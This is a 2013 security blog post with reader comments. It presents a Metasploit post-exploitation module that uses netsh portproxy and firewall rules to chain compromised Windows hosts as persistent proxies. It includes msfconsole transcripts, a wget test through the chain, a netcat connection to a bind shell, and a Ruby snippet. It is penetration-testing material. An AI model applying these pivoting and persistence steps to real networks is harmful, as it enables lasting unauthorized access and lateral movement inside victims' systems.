Thursday, August 29, 2013

Metasploit: Chain of proxies with PortProxy module

Portfwd is a well known feature to allow us to do port forwarding from our Meterpreter session. I think it goes without saying all the possibilities it provides. However, since this feature is part of Meterpreter (running directly from memory), once we exit our session we could not make use of it. 

For this reason I made a little post-exploitation module that lets me configure forwarding rules persistently. Thus once I exit my shell I could use the compromised machine as a proxy and I won't have to worry about getting a meterpreter shell to pivot to other hosts. To do this, the script uses the portproxy interface from netsh to set up a port forwarding rule. Then it enables the given local port in the firewall to allow the inbound TCP connection. Although it's more noisier than Portfwd I think it may be useful in some scenarios.

In the following example we'll use two compromised hosts with Meterpreter as a chain of proxies to connect to the web server

msf post(portproxy) > sessions -l

Active sessions

  Id  Type                   Information                      Connection
  --  ----                   -----------                      ----------
  1   meterpreter x86/win32  KRYPTON\Peregrino @ KRYPTON -> (
  3   meterpreter x86/win32  MORDOR\Test @ MORDOR -> (

msf post(portproxy) > set session 3
session => 3
msf post(portproxy) > set local_port 9001
local_port => 9001
msf post(portproxy) > set local_address
local_address =>
msf post(portproxy) > set connect_port 9002
connect_port => 9002
msf post(portproxy) > set connect_address
connect_address =>
msf post(portproxy) > run

[*] IPv6 is already installed.
[*] Setting PortProxy ...
[+] PortProxy added.
[*] Port Forwarding Table

   --------  ----------  ---------       -----------   6543    8888   8888    5555   9001   9002

[*] Setting port 9001 in Windows Firewall ...
[+] Port opened in Windows Firewall.
[*] Post module execution completed
msf post(portproxy) > set session 1
session => 1
msf post(portproxy) > set local_port 9002
local_port => 9002
msf post(portproxy) > set local_address
local_address =>
msf post(portproxy) > set connect_port 80
connect_port => 80
msf post(portproxy) > set connect_address
connect_address =>
msf post(portproxy) > show options

Module options (post/windows/manage/portproxy):

   Name   Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CONNECT_ADDRESS    yes   IPv4/IPv6 address to which to connect.
   CONNECT_PORT                            80    yes    Port number to which to connect.
   IPV6_XP                                          true    yes    Install IPv6 on Windows XP (needed for v4tov4).
   LOCAL_ADDRESS              yes    IPv4/IPv6 address to which to listen.
   LOCAL_PORT                              9002    yes    Port number to which to listen.
   SESSION                                            3     yes    The session to run this module on.
   TYPE                                           v4tov4     yes   Type of forwarding (v4tov4, v6tov6, v6tov4, v4tov6)

msf post(
portproxy) >

[*] Installing IPv6... can take a little long
[+] IPv6 was successfully installed.
[*] Setting PortProxy ...
[*] Port Forwarding Table

   --------       ----------  ---------      -----------        3333   4567        9002   80

[*] Setting port 9002 in Windows Firewall ...
[+] Port opened in Windows Firewall.
[*] Post module execution completed

The IPv6_XP datastore variable is needed for Windows XP. Because of a bug, you need to install the IPv6 interface (disabled by default) in your Windows XP installation to let you setup a proxy rule; even if you want to make a proxy that maps IPv4 to IPv4 connections (v4tov4); this was the case of

Now we can try the connection:

root@krypton:/tmp# wget --server-response --spider
Modo arácnido activado. Comprobar si el fichero remoto existe.
--2013-08-29 15:07:26--
Conectando con conectado.
Petición HTTP enviada, esperando respuesta... 
  HTTP/1.1 200 OK
  Server: BadBlue/2.7
  Content-Type: text/html
  Accept-Ranges: bytes
  Date: Thu, 29 Aug 2013 13:11:31 GMT
  ETag: "3f45655a7512d8b6:43d"
  Last-Modified: Fri, 22 Aug 2003 00:35:38 GMT
  Content-Length: 1085
  Connection: close
  Cache-control: public
Longitud: 1085 (1,1K) [text/html]

This is also a good way to run bind shells in no unreachable hosts.

root@krypton:/tmp#  nc 9001
Microsoft Windows XP [Versi�n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\Lab>


  1. Nice entry!
    In any case you must to maintain active sessions in your local msconsole (on 192.168.182) in order to keep listening the proxyports. An alternative and similar way i think would be use socks4, but in this case i'm not sure if the same features an traffic forwarding will be allowed.
    Through this tunnel is possible to maintain communication up to IP 7 layer?. In the past I had some problems doing it with socks4, but i this the issue was related with proxychains

  2. Hi lobobinario, thanks for your comment.
    Once you run the module you don't need to keep active sessions from your machine ( in this case). The module will create a portproxy interface in the "victim" machines (hosts and The interfaces will be available even after reboot so you could make use of them from any host (look at the wget and nc examples).

    The module just run the "netsh interface portproxy add ...." command under the hood. Take a look at


  3. Thanks for your explanation Borja.
    I don't have much experience with metasploit internals .I thought that meterpreter was maintaining the open socket while running and when it stops all tasks were destroyed. Now is clear and i understand the behaviour, if the proxyport is open via an OS command itself the persistence is guaranteed.

  4. Lobobinario,
    That happens with Portfwd (, when you close the meterpreter session all port forwarding rules are closed too (since Meterpreter runs directly from memory). That's why I did this module, to activate proxy rules using the netsh interface. This solution is, however, noisier than portwd.


  5. Hola Borja, quería saber si solo funciona para Windows XP o se puede vulnerar usando ésta técnica contra Windows 7?

  6. mtwom Hola,
    sin problema, puedes utilizarlo en Windows 7.
    Un saludo.

  7. Hola Borja, estoy intentando realizar el ejemplo tal cual como lo describes pero estoy obteniendo el siguiente error:

    [*] IPv6 is already installed.
    [*] Setting PortProxy ...
    [+] PortProxy added.
    [*] Port Forwarding Table

    -------- ---------- --------- -----------

    [*] Setting port 9001 in Windows Firewall ...
    [-] There was an error enabling the port.
    [*] Post module execution completed
    msf post(portproxy) >

    Alguna sugerencia?

    De antemano muchas gracias.

  8. Borja, que pena, ya vi la razón y tiene que ver con el sistema operativo que estoy atacando, resulta que estoy atacando Windows XP SP1 y la versión que usa de netsh al parecer no soporta el contexto Firewall. así que realizaré la prueba con Windows XP SP2. Saludos.

  9. Hola mtwom,
    efectivamente ese error procede del contexto del firewall (netsh firewall).
    El módulo por defecto intentará habilitar el puerto establecido por el usuario en el firewall. Posteriormente, hará un "netsh firewall show state" y comprobará si en la salida del mismo aparece dicho puerto. Si hubiera algún error mostraría el mensaje que comentas. Puedes echar un ojo a la función "fw_enable_ports" para ver en detalle lo que hace:

    output = cmd_exec("netsh","firewall show state")

    if output =~ /^#{datastore['LOCAL_PORT']} /
    print_good("Port opened in Windows Firewall.")
    print_error("There was an error enabling the port.")

    Para comprobar si la regla de portproxy se ha establecido correctamente puedes ejecutar: "netsh interface portproxy show all"
    Un saludo :)